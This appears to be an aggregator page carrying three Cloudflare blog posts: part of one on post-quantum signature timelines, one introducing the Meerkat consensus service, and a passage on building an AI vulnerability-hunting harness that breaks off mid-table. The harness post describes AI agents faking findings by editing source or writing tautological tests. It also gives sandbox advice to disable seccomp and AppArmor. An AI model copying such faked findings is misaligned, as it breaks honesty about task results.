Progressed to the second round

July 2020

Progressed to third round

July 2022

Selected for standardization

August 2023

Initial public draft

August 2024

Final NIST standard

October 2025

ML-DSA certificate standard (RFC 9881)

April 2025

OpenSSL 3.5.0 adds support for ML-DSA

August 2025

Debian Trixie released with OpenSSL 3.5.0

December 2025

TLS IANA codepoint for ML-DSA registered

March 2026

First CMVP certificates for ML-DSA module

July 2026 (expected)

Hybrid ML-DSA certificate standard

August 2026  (expected)

RFC for use of ML-DSA in TLS

Early 2027 (expected)

Availability first ML-DSA certificates in WebPKI

After NIST selected Dilithium to become ML-DSA, it took a year to draft a proposal for the standard, and another year for the algorithm standard to be published. The algorithm standard is not enough: protocols need to agree on how to integrate ML-DSA. For certificates that took another year. That’s not the end of it: software needs to add support for ML-DSA and its integration into protocols.

These steps are not purely sequential: work on software implementation of ML-DSA started before the final standard. Also, protocol integration standards are often “done” before they’re a final standard. For instance, the use of ML-DSA in TLS is done, but at the time of writing it’ll take a couple of months before the RFC for that is out. Notably OpenSSL jumped the gun and added support for ML-DSA before the IANA codepoints were assigned. Notably missing still is agreement on which hybrid signatures should be used in TLS (or at all), for which (at the time of writing) no IANA code points have been assigned.

When will these new signature algorithms be ready for use?

So where does that leave us for new signature algorithms? If the FN-DSA draft is released today, and it progresses at the same rate as ML-DSA, then we’d perhaps have some early software support in early 2029, but no significant deployment. Looking at the time it took to write the FN-DSA draft standard, it is likely that the final standard, protocol integrations, and software support will progress slowly as well. We would not expect FN-DSA to be widely available before 2033.

The progress in cryptanalysis of multivariate schemes gave NIST pause: they wrote that they expect multivariate to at least take another round of about two years. On the other hand, multivariate schemes are reasonably easy to implement. That means we might see a multivariate NIST standard in 2031, and wider product availability not earlier than 2034.

NIST is more confident in the security of SQIsign than that of multivariate. Not unlike FN-DSA, SQIsign is a difficult scheme to standardise and implement. At the same time, a lot of progress is made in simplifying SQIsign. It seems likely that SQIsign will make large changes for the third round, and will thus require a fourth round of evaluation. In either case, wide availability before 2035 seems unlikely.

As discussed above, HAWK occupies an awkward middle ground between FN-DSA and structured multivariate candidates. If it were standardized, which seems unlikely even before the recent progress in cryptanalysis, we wouldn’t expect product availability before 2034.

That leaves the proof of knowledge algorithms MQOM, SDitH, and FAEST. We’ve seen dramatic improvements to these schemes over the rounds. If that rate of change holds, it’ll require another round, but if it’s stable now, a proof of knowledge algorithm will be the first new NIST standard to see the light in 2030. If it’s out this early, it’ll likely not outperform ML-DSA dramatically. Nonetheless, it’ll still be very welcome to build anonymous credentials and other primitives beyond signatures.

So, should you wait on one of these signatures for your post-quantum migration? Given recent advances in quantum hardware and software, we don’t believe we can afford to wait. At Cloudflare, we’re aiming to be fully migrated by 2029. None of these signatures will be out in time. Deadlines of most regulators vary between 2030 and 2035. These did not account for recent progress, and we expect them to be adjusted. We saw just this with the June 2026 US executive order setting a 2031 deadline. Even if deadlines weren’t changed, we wouldn’t advise waiting.

Why? Deploying post-quantum signatures in 2034 to beat a 2035 deadline is not enough. In a system of any reasonable size, you can’t upgrade everything all at once. You’ll need a transition period where both post-quantum and traditional signatures are supported. And supporting both allows for a downgrade attack. The most straightforward way to prevent such downgrades is to disable classical cryptography. That will take time, and is frankly not even an option in many sufficiently distributed systems like the WebPKI. We will cover how to deal with downgrades in a future blog post. In the meantime here is some reading if you’re curious. In any case, dealing with downgrades will take time.

It seems clear these new post-quantum signature algorithms will not be ready to use in time for the first migration. So why bother?

Why we still need them

We’ve had 50 years to weave public key cryptography all through our digital society. We have a few short years left to make it all quantum secure. For most of these upgrades the procedure is clear: drop in post-quantum cryptography. Easier said than done: it’s a monumental task. But then there are cases that are fundamentally harder. There’s no all-star signature in a post-quantum world, and there are cases where the size of ML-DSA is a problem. With enough resources and stakeholder agreement, systems can be re-engineered to work well with these larger signatures. Indeed, thanks to ongoing re-engineering, the post-quantum WebPKI is shaping up to perform better than the quantum-vulnerable one of today. It is unrealistic to expect that this will happen for every system before it’s too late. Some will have to accept a performance cost. Others will need to deal with the security gap in other ways, such as restricting access, tunneling, more monitoring, or a myriad of other measures that are costly on their own. Once smaller post-quantum signatures arrive, these compensating controls can be removed, and full efficiency and security restored.

An indirect, but no less important benefit of the ongoing NIST competition is its help in furthering post-quantum cryptography beyond basic primitives: it isn’t just key agreement and signatures that are quantum vulnerable. There is a long tail of fancy cryptographic primitives out there used in production, such as anonymous credentials, PAKEs, and threshold signatures to name a few. For most, post-quantum variants are not readily available or are understudied. For some, the same goal can be achieved without fancy cryptography, but with a regrettable regression in subtle privacy goals. NIST cannot run a competition to define a post-quantum standard for each of these specific primitives, but luckily the signatures competition has been a huge help here.

The most clear example is FAEST. Although designed as a signature scheme, its underlying machinery (VOLEitH) can be repurposed in combination with a multivariate scheme like MAYO, to create an efficient post-quantum anonymous credential. Without the signatures competition, VOLEitH wouldn’t be as developed and vetted as it is today.

Many of the candidate schemes briefly point out their usefulness apart from signatures. We hope to see more of the indirect applications of these schemes highlighted.

Despite great signatures and more advanced cryptography on the horizon, we should not forget the task at hand: staying secure in the immediate future.

Introducing Meerkat: an experiment in global consensus

Post Syndicated from James Larisch original https://blog.cloudflare.com/meerkat-introduction/

Many internal services at Cloudflare need to read and modify the same control-plane state from across our 330+ global data centers. They need guarantees that different readers never see inconsistent state, and that the system remains available for writes even when some data centers or links fail.

But Cloudflare’s network runs across the entire Internet, and the Internet is an unpredictable place. Servers and data centers go down. Queues fill up. Links and cables get cut. These conditions make it difficult to run a globally available data system that guarantees strong consistency (e.g., that all readers are guaranteed to read all prior writes) because hostile conditions hinder distributed system replicas’ ability to reliably synchronize data with one another.

One way to synchronize data safely despite adverse network conditions is via a consensus algorithm, which allows a set of machines to agree on the same sequence of values, such as key-value store put and get operations, as long as a majority remains alive and able to communicate. 

Unfortunately, commonly deployed consensus algorithms like Raft suffer in wide-area networks like Cloudflare’s because they rely on leaders and timeouts. The leader is the only replica allowed to make writes, and if it fails due to a crash or network degradation, the system becomes unavailable until some other replica times out and a new leader is elected. And these timeout values are hard to configure in networks with unpredictable latencies.

We have experienced multiple incidents caused by unavailable leaders in consensus-driven systems.

And so, for the past year, Cloudflare’s Research team has been building a new distributed consensus service called Meerkat powered by a consensus algorithm called QuePaxa, published in 2023 by researchers at EPFL. QuePaxa differs from Raft in that all replicas can perform writes at all times, and progress is never halted due to a timeout, which makes it well suited for Cloudflare’s network. We layer applications, like a transactional key-value store and leasing system, atop Meerkat’s consensus log. To our knowledge, this will be the first industrial deployment of QuePaxa at global scale.

Meerkat is an experimental consensus service that is still in development. It’s being designed initially to manage small pieces of control plane state (e.g., leadership for replicated databases) and so it will be kept internal-only for the immediate future. This post introduces Meerkat and lays the groundwork for the Meerkat-related blog posts to come. 

What we need from a global control-plane data system

Many Cloudflare services read and write control-plane data, data that helps those services operate correctly, from multiple machines distributed all over the world. One example of control-plane data is placement information: where certain resources (like an AI model instance) are stored. Another example is leadership information: which machine is currently allowed to perform writes to a database. 

Control-plane data must be both strongly consistent and accessible despite particular kinds of faults.

In this section we precisely describe our consistency and fault tolerance requirements for a Cloudflare consensus service. We use a key-value store for a running example of an application running atop our consensus service, though other applications (e.g., distributed leases/locks) are possible.

Strong consistency

A distributed data system’s consistency level describes what kinds of weird behavior the system is allowed to exhibit when it receives concurrent reads and writes. Consider a distributed key-value store that stores a single numeric value x = 6 across multiple nodes. Also consider the following sequence of writes. These writes are submitted to different nodes on a best-effort basis, and could arrive in any order: 

  1. x = x + 1

  2. x = x / 2

A system’s consistency level tells you what values of x a client might see when reading x after these writes. Consider the following sequence of operations and the possible execution orders under different consistency levels:


In a weak consistency level, writes can be re-ordered. In a stronger consistency model, writes can’t be reordered, but reads can. In the strongest possible consistency level, the operations are ordered exactly as they occurred in real time. This property is called linearizability.

At Cloudflare, many services want linearizability. Unlike weaker forms of consistency, linearizability relieves programmers from thinking about all the weird behaviors the data systems might exhibit. Instead, they can reason about the distributed system like they reason about local memory on a single-threaded machine: all reads after a write will see that write. For additional reading material on the dangers of weak consistency, check out this post by Marc Brooker.

(If you’re wondering, Meerkat’s key-value store also provides serializability, which we’ll write about in a future post.)

Fault tolerance

A system’s level of fault tolerance describes what kinds of faults the system can handle before catastrophes happen. Catastrophes are typically violations of properties the system aims to uphold, e.g., that two consecutive reads without an intervening write for the same key never see different values, or that the system remains available for writes. The faults include network failures or delays, machine crashes, and machine restarts. A system will typically explicitly handle some faults but not others (you can’t handle all faults, as the universe could always reach heat-death). For example, some key-value stores might guarantee to remain available for writes as long as two-thirds of the machines in the system can communicate and don’t crash, but make no promises if a machine is compromised and starts sending malicious messages.

Our desired fault tolerance properties are as follows:

First, the data system should remain available for writes and reads from a client located in any of our data centers as long as the following are true:

  1. A majority of the machines in our system are alive and can communicate with one another. (Formally, we tolerate f faults in a system of 2f + 1 machines).

  2. The client can contact any machine in the system that is connected to a majority of live machines.

This means that a single failed machine, or network degradation on a single link, does not affect availability of the system. This property is not provided by Raft-based systems, as we’ll see later.

Second, the data system remains correct as long as no actor in the system is actively malicious (and, of course, there are no bugs). We define correctness in terms of consensus safety later, but loosely speaking this means no two up-to-date machines will ever disagree about the world (e.g., one thinks that key1=1 while another thinks that key1=2).

To summarize, the system must remain correct even if machines crash, machines restart, networks fail or degrade, data centers go down, and more (though we, like Raft-based systems, do not handle Byzantine faults).

Introducing Meerkat

Meerkat is a consensus service upon which we can build applications that exhibit the above properties (strong consistency and fault tolerance) like a key-value (KV) store. To understand how Meerkat works, we first outline Meerkat’s general architecture, and then describe how Meerkat’s choice of consensus algorithm helps provide strong consistency and fault tolerance.

Developers of services using Meerkat request a cluster of Meerkat replicas. Each replica is connected to every other replica. Each replica participates in the consensus algorithm and can receive both reads and writes. The developer can specify which data centers are allowed to host their replicas, and Meerkat places them automatically.

To interact with their cluster, a developer’s client sends an application-specific request to any replica in the cluster. A single replica may host many kinds of applications, but the simplest one is a key-value store, so the simplest application-specific request type is a KV get or put. The replica responds to the request with an application-specific response (e.g., the records requested with the get). Note that KV reads (gets) are guaranteed to read up-to-date information.


Meerkat’s log

Under the hood, the replica translates application requests (e.g., get and put) into log events. hat replica distributes each log event to all other replicas using a consensus algorithm such that all replicas maintain the exact same log of events (in reality, a replica may lag behind, but shall never record different entries). These events are arbitrary — Meerkat’s core doesn’t care what’s in them. Meerkat applications care about log event contents. Each Meerkat replica “hosts” many Meerkat applications (e.g., key-value store) that read the log events and construct state. (Note that each replica belongs to exactly one cluster.)

For instance, the KV Meerkat application constructs an in-memory key-value store from the log events. So when a client sends a write like put k1 v1, the receiving replica places that write into a log event and distributes it to all replicas. If someone else subsequently writes put k1 v11 to a different replica, this event is also distributed to all replicas. Since all functioning replicas have the same log, those replicas can apply the operations in the log in sequence to construct the exact same state. Note that get requests also create distributed log events (for linearizability, as explained in the next section).

Here is an example of how a replica’s KV store is updated as it receives log events:


How Meerkat’s log enables strong consistency

Meerkat guarantees that if one client executes put k1 v1, a second client subsequently executes put k1 v11, and a third client subsequently executes get k1 (with a consistent read), they will always read v11. It guarantees this even if each request is submitted to a different replica, and those replicas are distributed randomly across the world. This is linearizability. To see how Meerkat guarantees this, we must examine Meerkat’s log in more detail.

The Meerkat log is a sequence of slots. A slot is a box that can contain an event or not. A slot that contains an event is called a decided slot. All slots in the log are decided except the last slot, which is currently being decided. One of Meerkat’s invariants is that if any two replicas decide on the value for a slot, those values are the same. In other words, no two replicas will ever disagree on the value of a decided slot (though one replica may think the last slot is empty while another does not). This property helps guarantee the desired properties we described in the previous section.

To decide on the value of the last (empty) slot in the log, Meerkat replicas run a distributed consensus algorithm. A consensus algorithm allows a set of machines communicating over a network to agree on a decided slot value. Our consensus algorithm works as long as a majority of replicas (more than half) are alive.

So if the log currently contains two entries, and a client submits put k1 v11 to a replica, that replica triggers a consensus algorithm for slot 3. But another client might have submitted put k1 v111 to a different replica for slot 3. The consensus algorithm ensures that only one such proposal for slot 3 wins out. Specifically, it ensures that at least a majority of replicas agree on the same proposal, deciding it for slot 3. The non-majority can never decide a different proposal, but might miss the fact that slot 3 has been decided at all. 


To see how this provides linearizability for our key-value store, consider a write followed by a read. One replica Z proposes put k1 v11 and this proposal is decided at slot 3 by a majority of replicas, but NOT replica Y. Subsequently, a reader executes get k1 on replica Y. Replica Y believes slot 3 is empty, so proposes get k1 at slot 3. Critically, a majority of replicas will not agree to place that event at slot 3, because that slot has already been decided. They will force replica Y to decide (by receiving older decisions) put k1 v11 in slot 3, and to propose get k1 for slot 4, thus linearizing the read after the write in the log. (And if that replica can’t contact a majority, it will be unable to complete the read.)

How Meerkat’s consensus algorithm provides higher availability than Raft

Deciding on log entries requires a distributed consensus algorithm. But which one? All valid consensus algorithms would provide the required consistency and correctness guarantees, but not all provide the same availability guarantees. 

Specifically, many algorithms that rely on authoritative leaders do not provide our desired availability guarantees, because they can become unavailable when a single machine experiences issues. Consider Raft, one of the most well-known and probably the most implemented consensus algorithm. Raft relies on an authoritative leader: the only replica in the cluster that can drive consensus. As a result, all writes get forwarded to the leader. This design choice helps make Raft “understandable” and, coupled with leases, can make leader-served reads automatically linearizable (since they’re guaranteed to be up-to-date). But it also adds a single point of (temporary) failure.

In general, there are two problems with authoritative leaders. First, if the leader goes down, the system becomes unavailable (all writes block) until a new leader is elected. This is unacceptable for Meerkat. Second, if the leader stays up but slows down, either because it is overloaded or there are network delays, then performance degrades. The leader is a bottleneck because there is no alternative way to perform writes. 

The first problem is exacerbated in wide-area networks. Consider that when a leader goes down, most algorithms choose a new leader using timeouts: if a non-leader replica hasn’t heard from the leader in some amount of time, they propose themselves as the leader. At that point, the old leader has been deposed, and the system cannot accept writes until a new leader has been elected. The problem is that when the timeout is shorter than the network delay between the original leader and that replica, replicas will constantly be timing out and thus blocking writes. And when the timeout is too long, the system reacts slowly to a failed leader, during which writes are also blocked. Plus, if multiple replicas propose themselves as leader at the same time, their “campaigns” can interfere with each other, causing them to constantly re-propose themselves as leader — all the while blocking writes. We have seen these exact issues with Cloudflare’s systems that use Raft because our wide-area network delays can and do vary wildly, making tuning timeouts especially difficult.

We chose a different consensus algorithm for Meerkat, called QuePaxa, that aims to avoid the “tyranny of timeouts” imposed by protocols like Raft. QuePaxa is a subtle protocol, but here are the highlights. A client can contact any replica, and that replica can drive consensus for the latest slot. There is a leader, but it is not required — its only advantage is that it can drive consensus with fewer round trips (one) than other replicas (3+). Critically, clients are free to contact multiple replicas concurrently for the same proposal, to increase the chance of the proposal being successful. Concurrent proposals do not destructively interfere:  replicas work together to decide one of the proposed values.

In short, QuePaxa has three advantages over Raft for our purposes:

  1. Because there is no required leader, the system never becomes unavailable or degraded due to a single replica (the leader) being down, unavailable, or degraded. Clients can perform writes as long as they can contact some healthy replica (anywhere in the world). 

  2. Because there is no leader, there are no leader elections that degrade the system. And concurrent proposals made by different replicas constructively interfere, unlike Raft’s leadership elections. This is ideal for Cloudflare’s network, in which latencies can vary wildly.

  3. QuePaxa was designed for a less reliable network environment (“asynchrony”), and for networks in which an imaginary adversary can launch targeted attacks on replica connections. The authors found that it maintains much higher (~10x) throughput than Raft and Multi-Paxos during such conditions. These conditions more accurately resemble our own network than the conditions other algorithms assume.

We will save the full description of QuePaxa for another post. Major shoutout to the authors of the QuePaxa paper from EPFL for being available for feedback and questions about their work.

Assessing Meerkat’s performance 

Meerkat has limitations. It is not designed to create general-purpose data systems like databases.

All consensus algorithms come with a cost: lots of round-trips. QuePaxa in particular takes one to three round trips (usually, although it can take more) between the initial proposer and a majority of replicas to decide on a proposal and add an event to the log. The difference is with the leader. It takes one if the leader is proposing (+ an extra broadcast to notify replicas of the decision) and three if a non-leader is proposing (+ extra broadcast). If multiple replicas make proposals at the same time, it can take more. These communication costs point to the important performance limitation of consensus algorithms in general: proposal decision latency is proportional to the latency between some majority of replicas. So if your replicas are far from one another, latency will increase — there’s no getting around that.

At first glance, it seems Meerkat’s write and read latency will be quite poor. Especially if all writes and reads (for consistency) must go through the log, and thus require so many round trips.

But there are a few ways to squeeze better performance out of Meerkat: 

  1. Because developers have control over where their replicas live, they can choose to move replicas closer together, reducing round-trip latency (only applicable for services that don’t need truly global distribution).

  2. Writes can be batched. So if a replica receives 10 writes in a span of 10ms, it can place all of those in a single proposal, improving throughput.

  3. Not all reads must trigger a consensus round. If a developer is OK with reading stale (but never inconsistent) data, they can read from any replica’s local data.

  4. Multiple operations can be bundled into a single consensus round. For instance, our key-value store supports compare-and-swap-style writes in which writes execute only if a value has not changed since it was read. (In fact, it supports general transactions.)

Still, Meerkat’s fundamental latency limitations remain, especially when it is run at global scale, as it was designed to do. These limitations make it perfect, in the short term, for control plane information that is written infrequently but must remain consistent.

What’s next

Meerkat is not deployed to production, but we have run multiple proofs-of-concept with up to 50 replicas distributed around the world, to great success. Leaders in our proof-of-concept clusters constantly fail, and the cluster keeps operating with no increase in error-rate.

We have a lot more to say about Meerkat. Over the course of the next year we’ll be writing Meerkat posts that discuss how QuePaxa really works, how we’re formally verifying some of our Rust implementation, how bootstrapping and cluster management works, how we find optimal replica placement, how we use deterministic simulation testing to find bugs, and more. We’ll also be preparing a manuscript for peer-review!

Follow along on the Cloudflare Blog as Meerkat progresses, and check out more of our projects at Cloudflare Research.

Build your own vulnerability harness

Post Syndicated from Dan Jones original https://blog.cloudflare.com/build-your-own-vulnerability-harness/

A few weeks ago, we published our initial findings from Project Glasswing, looking at what happens when you point frontier security models at an enterprise codebase. We also explored how our defensive structures adapt to protect our infrastructure and customers from threats posed by frontier AI. Since then, the AI ecosystem has continued to shift rapidly — developers who’ve built tightly around a single model have already experienced what happens when that model is no longer available or gets superseded by a more capable one. These market shifts only reinforce our core thesis: no matter which underlying model is leading the pack on any given day, the future of agentic workflows will not be found in standalone models, prompts, or single-agent sessions.

Moving from a localized security “skill” to a continuous, fleet-wide scanning pipeline requires an architecture where models are treated as interchangeable components. Relying on a single model inherently limits defensive coverage, as the same system will tend to look at code paths through the exact same lens. To counter this, models should be frequently interchanged and cross-tested. By varying the models across the pipeline — such as using one model for initial discovery and an entirely different one for validation — we can ensure that vulnerabilities are cross-checked by distinct sets of logic. Furthermore, a true enterprise-scale harness must look beyond isolated repositories to trace vulnerabilities across cross-repo dependencies, ultimately filtering thousands of raw candidates down to a trusted, triaged queue of actionable fixes.

This post serves as a practical look at how to build that model-agnostic layer, focusing on how we manage state controls, eliminate false positives, and coordinate end-to-end triage at scale.

Two objections, up front

The first post made the case for why generic coding agents can’t do this job. The main issue is that agents only hold one hypothesis at a time, fill their context window after covering a sliver of a real repo, and then lose information during context compaction. For more details, read that post.

Before we move forward, we would like to answer two likely questions.

“Why not use subagents instead of a harness?” Subagents are useful, and they are a good starting point. But security analysis needs hundreds of separate investigations that survive across runs, don’t share a context window, and can be re-scoped and cross-referenced later. It needs persistence, deduplication, resumability, and eventually fleet-wide dependency tracing. That’s an orchestration problem, and a prompt can’t get you there.

“Is this blog post just an ad for frontier models?” No. Our approach centers on the harness, not the model. When it comes to vulnerability discovery, we run it with whatever frontier model is currently best at what we need. When we point different models at the same target, they each turn up a different share of the bugs. The harness is the bit that lasts. If you build your own system, design it to be model-agnostic from day one. This will allow you the freedom to use any model of choice without constraints.

It all starts with a skill

We started with a ~450-line security-audit skill that we ran on a single repository, and adjusted the prompts until we surfaced real bugs. Later, we added the orchestration that became the plumbing of the entire system. The real value lives in the prompts themselves, and our prompts continue to carry the initial skill’s attacker scenarios, bug classes, and anti-pattern detections nearly unchanged.

The skill was written to run a 7-phase audit in one session:

  • Three parallel research agents do recon and write an architecture.md.

  • One Hunter agent runs per class attack, trying to break the code rather than review it.

  • Adversarial validators try to disprove each finding.

  • The survivors are written up as a human-readable vulnerability report.

  • They’re also emitted as findings.json against a schema, and a mechanical check validates that file.

  • Finally, a fresh agent independently re-verifies every finding against the source.

  • The surviving, re-verified findings are submitted to the ingest API.

That first skill maps almost directly onto the later harness:

Skill phase

Harness stage

Recon agents write architecture.md

Recon

Hunters run per attack class

Hunt

Validators disprove findings

Validate

Surviving findings become a report

Report

findings.json is checked mechanically for schema adherence, not correctness

Mechanical validation of line numbers and functions in findings

Fresh agent re-verifies findings

Independent validation

The skill worked, but it quickly revealed its limits. Looking at the coverage metrics, a single run finds only about half the bugs you’d catch across multiple runs. In our experience the ones it did find skewed toward the simpler and less subtle. Once your process is basically “run it ten times and diff by hand,” you probably need to start looking at a real harness.

While running and fine-tuning the skill, we ran into three walls: 

  • Context exhaustion: An hour in, the context window fills up and the model will cannibalize its own memory, instantly forgetting the bugs it spent all morning tracking down. We broke this bottleneck by externalizing the state entirely, treating the LLM as a stateless compute engine. 

  • Persistence: A crash mid-run means starting over. Losing hours of work to one AI rate-limit error or connection flakiness is an incredibly expensive way to realize you need a better architecture. 

  • Cross-repo reasoning: A single repo session is completely blind to the relationships between applications that consume it, and the number of bugs that surface when you inspect the interface between components is probably more than one might expect.

ADVICE: A real but minimal harness consists of just Recon, Hunt, and Validate stages kept in a database, alongside a separate Validator that can’t file its own findings. You should skip cross-repo tracing entirely until you have more than one repository that matters. Skip a dedicated Deduplication agent until you are actively drowning in noise. Start with a skill in your development environment, get your prompts working well, and only build the next architectural stage when not having it is the specific thing slowing you down.

Codifying the skill into a pipeline

Most AI security write-ups in this space are about a single repo or a curated benchmark; running a whole fleet this way, with cross-repo tracing, isn’t something we’ve seen written up elsewhere. Our codebase spans a massive mix of languages — Rust, Go, C, Lua, TypeScript and Python, alongside various configuration management systems, static configs, and all sorts of additional context. So we had to come up with something new that worked for us. Going from that first slash-command run to a fleet scanner that could cover 128 distinct repos, automatically finding and interrogating relevant dependencies, took about six weeks. Codification was mostly mechanical: we lifted each phase of the skill into its own agent, put a database behind it and an orchestrator in front. The mapping was almost one-to-one.

The entire fleet runs on one unified harness with no per-language tuning and traces the dependencies between repos. While offloading syntax to a model makes the system language-agnostic, the differentiator is its ability to trace dependencies between repos. The harness itself doesn’t care if it’s looking at C pointers or a TypeScript file; it focuses on the higher-level logic of security orchestration. This allows us to scale across hundreds of different codebases, without having to write custom language parsing. 

A two-stage vulnerability research workflow

Our entire vulnerability research workflow is built on a two-stage operational framework: the Vulnerability Discovery Harness (VDH) and the Vulnerability Validation System (VVS).

The VDH functions as our discovery engine, proactively scanning codebases to surface potential security issues. Once bugs enter the VVS, which allows multiple harnesses to feed into it, they go through stages of Deduplication, Judgment, and finally Fixing, as we’ll talk about later.

We use one model for VDH, but we use a completely different model for VVS, so the models are effectively double-checking each other. There is an obvious security benefit to this: by forcing Model B (VVS) to judge the output of Model A (VDH), you ensure that the finding is evaluated by an entirely different set of logical weights and training data — one that acts as an unbiased, adversarial third party whose sole job is to ruthlessly stress-test Model A’s assumptions.  And operationally, we benefit from treating model providers like interchangeable commodities. Model providers can change temperature, caching, and inference effort budgets over time, even within one model version. Instead of building a system that depends on a model behaving predictably over time, our harness is built to absorb downstream volatility without breaking.

Stage 1: Vulnerability Discovery Harness (VDH)

The first post covered what each agent/stage is for, so we’ll talk about the parts it didn’t: the glue between stages, and the handful of details that decide whether any of it works.

Agent/stage

Primary Role

Sub-agents / Tooling

Recon

Maps out the target architecture and maps potential threat vectors

3 parallel Recon sub-agents write architecture.md

Hunt

Runs per-class attacks, compiles fragments, probes binaries

It spawns siblings (these handle between 9% and 20% of fleet-wide tasks depending on the model). It reaches out to and writes to the Wishlist tool. 

Validate

Mechanically checks the finding, then adversarially disproves it

Runs in two passes: plain code handles the initial schema/path checks, then a single isolated agent tries to disprove the finding before it can be filed. 

Gapfill

Generates new hunt tasks for empty coverage cells

Enqueues fresh hunt tasks for any under-tested (area × attack-class) cells that still look thin

Dedup

Identifies and consolidates overlapping findings

Combines deterministic code and agents to cluster findings by root cause, folding them together in real time

Trace

Walks dependency graph; spawns consumer-repo tasks

Walks the graph to add hunt tasks inside every identified consumer repo to make sure cross-repo bugs are caught

Feedback

Learns from pre-existing reports and optimizes future runs

Takes validation failures, shallow runs, and repeated misses, and instantly rewrites queued prompts to make future tasks sharper.

Report

Renders human-readable report

Just a script, no model required

Table 1: Vulnerability Discovery Harness (VDH)

Stages four through eight run as a continuous producer-consumer loop. As the initial hunt progresses, the Gapfill, Feedback and Trace agents generate new tasks; Dedup folds overlapping findings back together and the rest of the loop keeps consuming the queue. This ensures a vulnerability discovered late in the cycle is still validated, reported and checked against other code to make sure it doesn’t contain the same bug, all within the same run.

Splitting the pipeline this way guarantees strict context controls. If you fill the context window, the model starts hallucinating. We keep each agent’s job hyper-focused, keeping context usage below 25% of the total window. A naive “read all files” approach will blow past this limit every single time.

One thing that caught us out was that persistence needs to be factored in before parallelism. You do not want to throw away a five-hour run because of an unforeseen error. Every stage writes to one SQLite database keyed by (run_id, repo, stage). Any stage can resume, retry, or get pulled into a later run without redoing work. Findings are streamed and saved as they happen, so a crash costs you the task in flight and nothing else.

ADVICE: Sometimes a transient API error comes back as text in the (200 OK) response stream instead of throwing a code exception. To the orchestrator, this looks exactly like a task that finished cleanly. You must explicitly classify the response text, not just trust the exception type, or you end up logging empty runs as successes.

Dynamic threat modeling

During the Recon stage, the agent writes the threat model instead of being handed one. Beyond about ten built-in attack classes (many forms of injection, memory corruption, protocol parsing, timing side channels, and others), the Recon agent can invent repo-specific classes on the spot, each with its own methodology. It writes a custom taxonomy tailored specifically to that codebase, which is used to more tightly scope the Hunter agents.

Reading source code isn’t enough to understand how it behaves under stress, especially for subtle undefined-behavior bugs in C and other lower-level languages. The Hunter agents move past code reading and transition into active execution. They compile fragments, build small versions, and attack them. The biggest jump in quality came from giving Hunters a sandbox (built on unshare) to crash binaries.

ADVICE: If the harness itself runs inside Docker, that sandbox needs seccomp=unconfined and apparmor=unconfined or it will silently fail to start. It’s a one-line fix that saves you a day of head-scratching if you aren’t an expert in nested containerization, like us.

Micro-forks and the wishlist

Beyond the core pipeline stages, we added two specialized mechanisms that grant the Hunters significant autonomy to adapt their focus and request external resources without derailing an ongoing analysis:

Sibling Forking: This helps ensure that if a Hunter agent trips over an interesting code path that is outside the current scope, it doesn’t wander off track. It uses a tool call to fork a sibling agent with a precise structural seed. Fleet-wide, this accounts for roughly 9% of tasks, though the rate is highly model-dependent — from near-zero to about a fifth, depending on which model is hunting.

The Wishlist: When an agent needs a tool it doesn’t have, often a Validator confirming a Proof of Concept (PoC) or a Hunter wanting to build something (like a specific build environment, a VM, or some prod config files), it writes to a central wishlist. It provides enough context for the system to automatically re-run that exact task once a human provides the dependency. Some of these can be partly self-healing: if the container needs to be rebuilt with some changes, this can autonomously happen after the run by having a generic coding harness monitor the logs.

The wishlist has been written to 25,472 times across 128 repos since the wishlist was added, and it’s the main way the agents talk back to us. One that landed while we were writing this: “I need a FreeBSD VM to confirm this PoC end-to-end.“

Fleet-wide cross-repo tracing

After the initial cleanup, a Tracer agent checks how different software components are connected. It looks for a specific path: can a potential attacker send harmful input from the outside to a vulnerable part of the system? If the answer is yes, the Tracer agent automatically spawns fresh hunt tasks inside the consumer repository. To make this work, you need a unified, cross-repo symbol index and an accurate dependency graph. This allows you to uncover deep, systemic flaws that a standard single-repo scan would miss.

Running our harness across an entire fleet of repos revealed two lessons that only surfaced when this was done at scale. 

First, deduplication is its own problem, big enough to need its own agents. When you are scanning a handful of repositories, you can manually eyeball overlapping bugs. Simple string matching or file-path checks won’t save you here. Determining whether two complex logic flaws are actually the exact same root bug sounds trivial, but it isn’t. It requires so much cognitive reasoning that we had to deploy dedicated Dedup agents just to clean up the noise, along with their own heuristics and ways of reducing the work.

The second is to not wire in static analysis early. We plumbed Semgrep all the way through, and the Hunters invoked it zero times in a month of runs. They would rather read and run the code. The wishlist, by contrast, was the single most-used tool in the system. It’s worth paying attention to what the agents actually reach for, rather than what you think they’ll want.

Making findings you can trust

The agent will edit the source code so its own exploit works, then triumphantly report the bug it just created. It will write a test that proves something entirely tautological like “exec() executes things, therefore critical vulnerability”. Or it builds an exploit that runs fine but proves nothing, because the threat model behind it is nonsense. If your harness doesn’t actively fight this, all you’ve built is a faster way to produce junk.

A Hunter has to state the threat model before it’s allowed to file anything. It has to define exactly who the attacker is, and what boundary the vulnerability crosses or what assumption it breaks. The output schema ordering enforces it. This requirement eliminates the vacuous findings, the “if a user has database write access, they can write to the database” kind.

Every confirmed finding ships with a PoC written as a test that runs against the original, untouched codebase. This prevents the agent from editing the source files to force an exploit to land. If there is no working PoC, we treat the finding as fake. In practice, that’s a Hunter compiling a thirty-line parsing loop, running it with memory protection enabled, and demonstrating that the incorrect read stride is originating from a stack address rather than the expected message body. You can re-run it yourself. Furthermore, every confirmed finding must also ship a proposed patch. What actually reaches our review queue is a verified bug, a working test, and a functional git diff, not just a vague text description of a problem.

Before an exploit path survives, deterministic code (written in plain code, not another model) mechanically verifies that the cited files and paths actually exist, and confirms that both the patch and the test parse correctly. This Validator cannot log findings of its own; its sole job is to aggressively disprove the Hunter‘s theory. If a Hunter is allowed to grade its own homework, it will confidently validate everything it outputs.

We don’t claim a false-negative rate for our system. There’s no labeled set of every real bug in a codebase, so any claimed recall number is entirely speculative. What we can watch is whether re-runs keep turning up new bugs (they do) and whether coverage is still growing across runs. It’s all a proxy, as you don’t know for sure how many bugs exist in a single codebase, but it’s a good-enough way of measuring effectiveness.

Stage 2: Vulnerability Validation System (VVS)

A finding coming out of the harness is just the start of the triage process, with all discoveries landing in a single, shared VVS that currently holds 13,841 findings across 145 repos in total. Triaging that volume is its own massive engineering problem, and it matters just as much as the hunting. That triage engine runs on a different model from the harness, broken down into three distinct jobs.

Agent/stage

Primary role

Spawns/ sub-agents/tooling

Dedup

Identifies if a vulnerability is already in the system, or raised as internal Jira ticket already

Deterministic: plain code builds inverted indexes over files, functions, trust boundaries, and rare tokens, then hands each finding a short candidate list

Probabilistic: Dedup agent reasons over that short list, Stable cross-run key reopens existing records

Judgment

Production reachability and validation

